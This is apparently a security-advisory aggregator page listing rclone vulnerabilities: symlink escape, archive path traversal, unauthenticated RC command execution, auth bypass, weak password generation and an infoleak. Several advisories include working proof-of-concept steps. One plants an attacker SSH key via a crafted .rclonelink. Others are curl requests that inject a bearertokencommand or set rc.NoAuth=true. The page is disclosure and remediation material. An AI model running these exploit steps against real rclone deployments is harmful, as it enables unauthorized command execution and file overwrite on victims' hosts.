Details backend/local/local.go, Object.Update(): go } else { out = nopWriterCloser{&symlinkData} // body of <name>.rclonelink = attacker data } ... if o.translatedLink { if err == nil { if , err := os.Lstat(o.path); err == nil { os.Remove(o.path) } // Use the contents for the copied object to create a symlink err = os.Symlink(symlinkData.String(), o.path) // <-- target NEVER validated (abs / .. allowed) } } symlinkData is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (mkdirAll() → file.MkdirAll, then file.OpenFile(..., OCREATE)) follows existing symlink components with no ONOFOLLOW, so a file written under the planted symlinked directory escapes the destination.

PoC 1) Get the official stable binary: curl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip unzip -j rclone-v1.74.3-linux-amd64.zip '/rclone' -d . # ./rclone -> v1.74.3 2) Create an attacker-controlled "remote" (two objects) and a victim layout: mkdir -p evil/pwn dest victimhome/.ssh printf '%s' "$PWD/victimhome/.ssh" > evil/pwn.rclonelink # body = abs path OUTSIDE dest printf 'ssh-ed25519 AAAAATTACKERKEY pwned\n' > evil/pwn/authorizedkeys ls -l victimhome/.ssh # empty (before) 3) Serve the malicious remote (models any untrusted remote — bucket / WebDAV / HTTP share): cd evil && python3 -m http.server 38080 --bind 127.0.0.1 4) VICTIM ACTION — back up the untrusted remote preserving symlinks: ./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v 5) Observe — a file landed OUTSIDE ./dest: ls -l dest/pwn # dest/pwn -> .../victimhome/.ssh (symlink escapes dest) cat victimhome/.ssh/authorizedkeys # ssh-ed25519 AAAAATTACKERKEY pwned <-- written outside dest pwn.rclonelink sorts before pwn/authorizedkeys, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites ~/.ssh/authorizedkeys, ~/.bashrc, or a crontab → code execution.

Impact An attacker who controls the contents of any remote a victim syncs with -l/--links gains arbitrary file write as the victim user, anywhere that user can write. Overwriting ~/.ssh/authorizedkeys, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).

Remediation In Object.Update() reject symlink targets that are absolute or escape the destination root before calling os.Symlink (resolve filepath.Join(dir, target) and require it to stay within the configured root, or refuse absolute/.. targets), and write objects with ONOFOLLOW on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a .rclonelink with target /tmp/... and a sibling file, asserting nothing is written outside the destination.

1 / 2
Source: GitHub
First published (updated )
Severity
5
Path Traversal
AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:L

Summary

rclone archive extract can write extracted files outside the user-selected destination prefix when extracting a crafted archive. A malicious archive entry containing parent path components such as ../ can escape the requested extraction prefix and create or overwrite sibling objects in the same bucket/path scope.

Details

The affected code path is in cmd/archive/extract/extract.go.

In ArchiveExtract(), the archive entry path is taken from f.NameInArchive. The code strips only a leading ./ prefix and then joins the archive entry path with the destination directory:

go remote := f.NameInArchive remote = strings.TrimPrefix(remote, "./") if dstDir != "" { remote = path.Join(dstDir, remote) } , err = operations.Rcat(ctx, dst, remote, fin, f.ModTime(), nil)

Parent path components such as ../ are not rejected before path.Join() is used.

When the destination is an S3-style remote such as:

text :s3:bucket/safe/prefix

rclone creates the destination filesystem rooted at bucket/safe and treats prefix as the destination directory. If the archive contains an entry named:

text ../escaped-from-prefix.txt

then path.Join("prefix", "../escaped-from-prefix.txt") resolves to:

text escaped-from-prefix.txt

As a result, the S3 backend uploads the object to:

text bucket/safe/escaped-from-prefix.txt

instead of the expected destination:

text bucket/safe/prefix/escaped-from-prefix.txt

This allows an attacker-controlled archive to escape the selected extraction prefix on object-storage remotes.

PoC

Test environment:

- Windows 11 - rclone v1.74.3 official Windows amd64 binary - Local fake S3 HTTP endpoint - Crafted ZIP archive containing ../escaped-from-prefix.txt

Steps to reproduce:https://drive.google.com/file/d/1PcLKFgiWSVSATB8500yP28jdzwt9FAt/view?usp=sharing

1. Extract the attached PoC ZIP.

2. Run the PoC script:

powershell powershell -ExecutionPolicy Bypass -File .\run-poc.ps1 -RcloneExe "C:\path\to\rclone.exe"

3. The PoC creates a ZIP archive containing this entry:

text ../escaped-from-prefix.txt

4. The PoC starts a local fake S3 endpoint and runs rclone with an S3-style destination prefix:

powershell rclone archive extract malicious.zip :s3:bucket/safe/prefix

5. Observe the fake S3 request log.

Expected safe behavior:

text PUT /bucket/safe/prefix/escaped-from-prefix.txt

Observed behavior:

text PUT /bucket/safe/escaped-from-prefix.txt?x-id=PutObject

This shows that the archive entry escaped the requested safe/prefix destination and was written under safe/ instead.

The PoC package includes:

- run-poc.ps1 - fake-s3-server.py - README.md - report-draft.md - captured proof logs

Impact

An attacker who supplies an archive that a victim extracts with rclone archive extract can cause extracted files to be written outside the destination prefix selected by the victim when the destination is an S3-style object storage remote.

Depending on the victim's configured remote credentials and bucket permissions, this may allow creation or overwrite of sibling objects outside the intended extraction directory/prefix.

This does not require compromising the S3 service itself. The attack relies on the victim extracting an attacker-controlled archive with rclone into an object-storage prefix.

1 / 2
Source: GitHub
First published (updated )
Severity
7

Rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.46.0 until 1.74.3, rclone rcd --rc-serve accepts unauthenticated GET and HEAD requests to paths of the form: /[remote:path]/object. The remote value is parsed from the URL and passed to normal backend initialization. Inline remote configuration can set backend options that execute local commands during initialization. As a result, a single unauthenticated GET or HEAD request can execute a command as the rclone process user. This vulnerability is fixed in 1.74.3.

First published (updated )
Severity
9.8
OS Command Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

rclone rcd --rc-serve accepts unauthenticated GET and HEAD requests to paths of the form:

text /[remote:path]/object

The remote value is parsed from the URL and passed to normal backend initialization. Inline remote configuration can set backend options that execute local commands during initialization. As a result, a single unauthenticated GET or HEAD request can execute a command as the rclone process user.

Versions from 1.55.0 onwards are vulnerable to command execution. Earlier versions (from 1.46.0) are vulnerable to the unauthenticated local file read described under "Additional impact" but not to command execution, because inline backend option overrides did not exist until 1.55.0.

Preconditions

Preconditions for this vulnerability are:

- The rclone remote control API must be enabled, either by the --rc flag or by running the rclone rcd server - The remote control API must be reachable by the attacker - by default rclone only serves the rc to localhost unless the --rc-addr flag is in use - The rc must have been deployed without global RC HTTP authentication - so not using --rc-user/--rc-pass/--rc-htpasswd/etc - The --rc-serve flag must be in use

Impact

An unauthenticated network attacker who can reach the RC HTTP listener can execute commands as the rclone process user.

Additional impact observed during testing:

- GET and HEAD both trigger backend initialization. - The same path allows unauthenticated local file read through inline local remotes. - Inline global. options can mutate process-wide rclone configuration, including global.httpproxy. - Browser subresource requests can also trigger the issue against a localhost-only RC listener. In testing, Firefox triggered the payload from a public HTTPS page containing only an <img> tag pointing at http://127.0.0.1:5572/.... This is an additional impact multiplier, not the primary attack precondition.

Mitigations / Workarounds

- Upgrade to rclone 1.74.3 (or 1.75.0 when released). - Or, configure HTTP authentication on the rc with --rc-user/--rc-pass or --rc-htpasswd, which has always been the recommended deployment. - Or, do not use --rc-serve if file serving is not needed.

The Fix

The vulnerabilities in this advisory have been fixed by two commits:

- rc: fix unauthenticated command execution via --rc-serve inline remotes - rc: stop global. connection string options changing config

1 / 3
Source: GitHub
First published (updated )
Severity
7

Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Starting in version 1.48.0 and prior to version 1.73.5, the RC endpoint operations/fsinfo is exposed without AuthRequired: true and accepts attacker-controlled fs input. Because rc.GetFs(...) supports inline backend definitions, an unauthenticated attacker can instantiate an attacker-controlled backend on demand. For the WebDAV backend, bearertokencommand is executed during backend initialization, making single-request unauthenticated local command execution possible on reachable RC deployments without global HTTP authentication. Version 1.73.5 patches the issue.

First published (updated )
Severity
7

Rclone is a command-line program to sync files and directories to and from different cloud storage providers. The RC endpoint options/set is exposed without AuthRequired: true, but it can mutate global runtime configuration, including the RC option block itself. Starting in version 1.45.0 and prior to version 1.73.5, an unauthenticated attacker can set rc.NoAuth=true, which disables the authorization gate for many RC methods registered with AuthRequired: true on reachable RC servers that are started without global HTTP authentication. This can lead to unauthorized access to sensitive administrative functionality, including configuration and operational RC methods. Version 1.73.5 patches the issue.

First published (updated )
Severity
9.2
OS Command Injection, Code Injection
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The RC endpoint operations/fsinfo is exposed without AuthRequired: true and accepts attacker-controlled fs input. Because rc.GetFs(...) supports inline backend definitions, an unauthenticated attacker can instantiate an attacker-controlled backend on demand. For the WebDAV backend, bearertokencommand is executed during backend initialization, making single-request unauthenticated local command execution possible on reachable RC deployments without global HTTP authentication.

Preconditions

Preconditions for this vulnerability are:

- The rclone remote control API must be enabled, either by the --rc flag or by running the rclone rcd server - The remote control API must be reachable by the attacker - by default rclone only serves the rc to localhost unless the --rc-addr flag is in use - The rc must have been deployed without global RC HTTP authentication - so not using --rc-user/--rc-pass/--rc-htpasswd/etc

Details The root cause consists of the following pieces:

1. operations/fsinfo is not protected with AuthRequired: true 2. operations/fsinfo calls rc.GetFs(...) on attacker-controlled input 3. rc.GetFs(...) supports inline backend creation through object-valued fs 4. WebDAV backend initialization executes bearertokencommand

Relevant code paths:

- fs/operations/rc.go - operations/fsinfo is registered without AuthRequired: true - rcFsInfo() calls rc.GetFs(ctx, in)

- fs/rc/cache.go - GetFs() / GetFsNamed() can parse an object-valued fs - getConfigMap() converts attacker-controlled JSON into a backend config string

- backend/webdav/webdav.go - bearertokencommand is a supported backend option - NewFs(...) calls fetchAndSetBearerToken() when bearertokencommand is set - fetchBearerToken() invokes exec.Command(...)

This creates a practical single-request unauthenticated command-execution primitive on reachable RC servers without global HTTP authentication.

This was alidated on: - current master as of 2026-04-14: bf55d5e6d37fd86164a87782191f9e1ffcaafa82 - latest public release tested locally: v1.73.4

This was also validated on a public amd64 Ubuntu host controlled by the tester, using direct host execution (not containerized PoC execution).

PoC Minimal single-request form PoC Start a vulnerable RC server:

bash rclone rcd --rc-addr 127.0.0.1:5572

No --rc-user, no --rc-pass, no --rc-htpasswd.

Then send a single request:

bash curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \ --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearertokencommand='/usr/bin/touch /tmp/rclonefsinforcepocmarker':"

Expected result: - HTTP 200 JSON response from operations/fsinfo - /tmp/rclonefsinforcepocmarker is created on the host

Impact This is effectively a single-request unauthenticated command-execution vulnerability on reachable RC deployments without global HTTP authentication.

In practice, command execution in the rclone process context can lead to higher-impact outcomes such as local file read, file write, or shell access, depending on the deployed environment.

Testing performed This was successfully reproduced: - on a local test environment - on a public amd64 Ubuntu host controlled by the tester

On the public host it was confirmed:

- the unauthenticated operations/fsinfo exploit worked - command execution occurred on the host - the issue was reproducible through direct host execution

1 / 3
Source: GitHub
First published (updated )
Severity
9.2
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The RC endpoint options/set is exposed without AuthRequired: true, but it can mutate global runtime configuration, including the RC option block itself. An unauthenticated attacker can set rc.NoAuth=true, which disables the authorization gate for many RC methods registered with AuthRequired: true on reachable RC servers that are started without global HTTP authentication. This can lead to unauthorized access to sensitive administrative functionality, including configuration and operational RC methods.

Preconditions

Preconditions for this vulnerability are:

- The rclone remote control API must be enabled, either by the --rc flag or by running the rclone rcd server - The remote control API must be reachable by the attacker - by default rclone only serves the rc to localhost unless the --rc-addr flag is in use - The rc must have been deployed without global RC HTTP authentication - so not using --rc-user/--rc-pass/--rc-htpasswd/etc

Details The root cause is present from v1.45 onward. Some higher-impact exploitation paths became available in later releases as additional RC functionality was introduced.

The issue is caused by two properties of the RC implementation:

1. options/set is exposed without AuthRequired: true 2. the RC server enforces authorization for AuthRequired calls using the mutable runtime value s.opt.NoAuth

Relevant code paths:

- fs/rc/config.go - registers options/set without AuthRequired: true - rcOptionsSet reshapes attacker-controlled input into global option blocks

- fs/rc/rcserver/rcserver.go - request handling checks: - if !s.opt.NoAuth && call.AuthRequired && !s.server.UsingAuth() - once rc.NoAuth is changed to true, later AuthRequired methods become callable without credentials

This creates a runtime auth-bypass primitive on the RC interface.

After setting rc.NoAuth=true, previously protected administrative methods become callable, including configuration and operational endpoints such as:

- config/listremotes - config/dump - config/get - operations/list - operations/copyfile - core/command

Relevant code for the second-stage command execution path:

- fs/metadata.go - metadataMapper() uses exec.Command(...)

- fs/operations/rc.go - operations/copyfile is normally AuthRequired: true - once rc.NoAuth=true, it becomes reachable without credentials

This was validating using the following: - current master as of 2026-04-14: bf55d5e6d37fd86164a87782191f9e1ffcaafa82 - latest public release tested locally: v1.73.4

The issue was also verified on a public amd64 Ubuntu host controlled by the tester, using direct host execution (not containerized PoC execution).

PoC Minimal reproduction Start a vulnerable server:

bash rclone rcd --rc-addr 127.0.0.1:5572

No --rc-user, no --rc-pass, no --rc-htpasswd.

First confirm that a protected RC method is initially blocked:

bash curl -sS -X POST http://127.0.0.1:5572/config/listremotes \ -H 'Content-Type: application/json' \ --data '{}'

Expected result: HTTP 403.

Use unauthenticated options/set to disable the auth gate:

bash curl -sS -X POST http://127.0.0.1:5572/options/set \ -H 'Content-Type: application/json' \ --data '{"rc":{"NoAuth":true}}'

Expected result: HTTP 200 {}

Then call the same protected method again without credentials:

bash curl -sS -X POST http://127.0.0.1:5572/config/listremotes \ -H 'Content-Type: application/json' \ --data '{}'

Expected result: HTTP 200 with a JSON response such as:

json {"remotes":[]}

Testing performed This was successfully reproduced: - on the tester's ocal test environment - on a public amd64 Ubuntu host controlled by the tester

Using the public host, the following was confirmed:

- unauthenticated options/set successfully set rc.NoAuth=true - previously protected RC methods became callable without credentials - the issue was reproducible through direct host execution

Impact This is an authorization bypass on the RC administrative interface.

It can allow an unauthenticated network attacker, on a reachable RC deployment without global HTTP authentication, to disable the intended auth boundary for protected RC methods and gain access to sensitive configuration and operational functionality.

Depending on the enabled RC surface and runtime configuration, this can further enable higher-impact outcomes such as local file read, credential/config disclosure, filesystem enumeration, and command execution.

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
Weak RNG
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

An issue was discovered in Rclone before 1.53.3. Due to the use of a weak random number generator, the password generator has been producing weak passwords with much less entropy than advertised. The suggested passwords depend deterministically on the time the second rclone was started. This limits the entropy of the passwords enormously. These passwords are often used in the crypt backend for encryption of data. It would be possible to make a dictionary of all possible passwords with about 38 million entries per password length. This would make decryption of secret material possible with a plausible amount of effort. NOTE: all passwords generated by affected versions should be changed.

First published (updated )
Severity
7.5
Infoleak
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

In Rclone 1.42, use of "rclone sync" to migrate data between two Google Cloud Storage buckets might allow attackers to trigger the transmission of any URL's content to Google, because there is no validation of a URL field received from the Google Cloud Storage API server, aka a "RESTLESS" issue.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203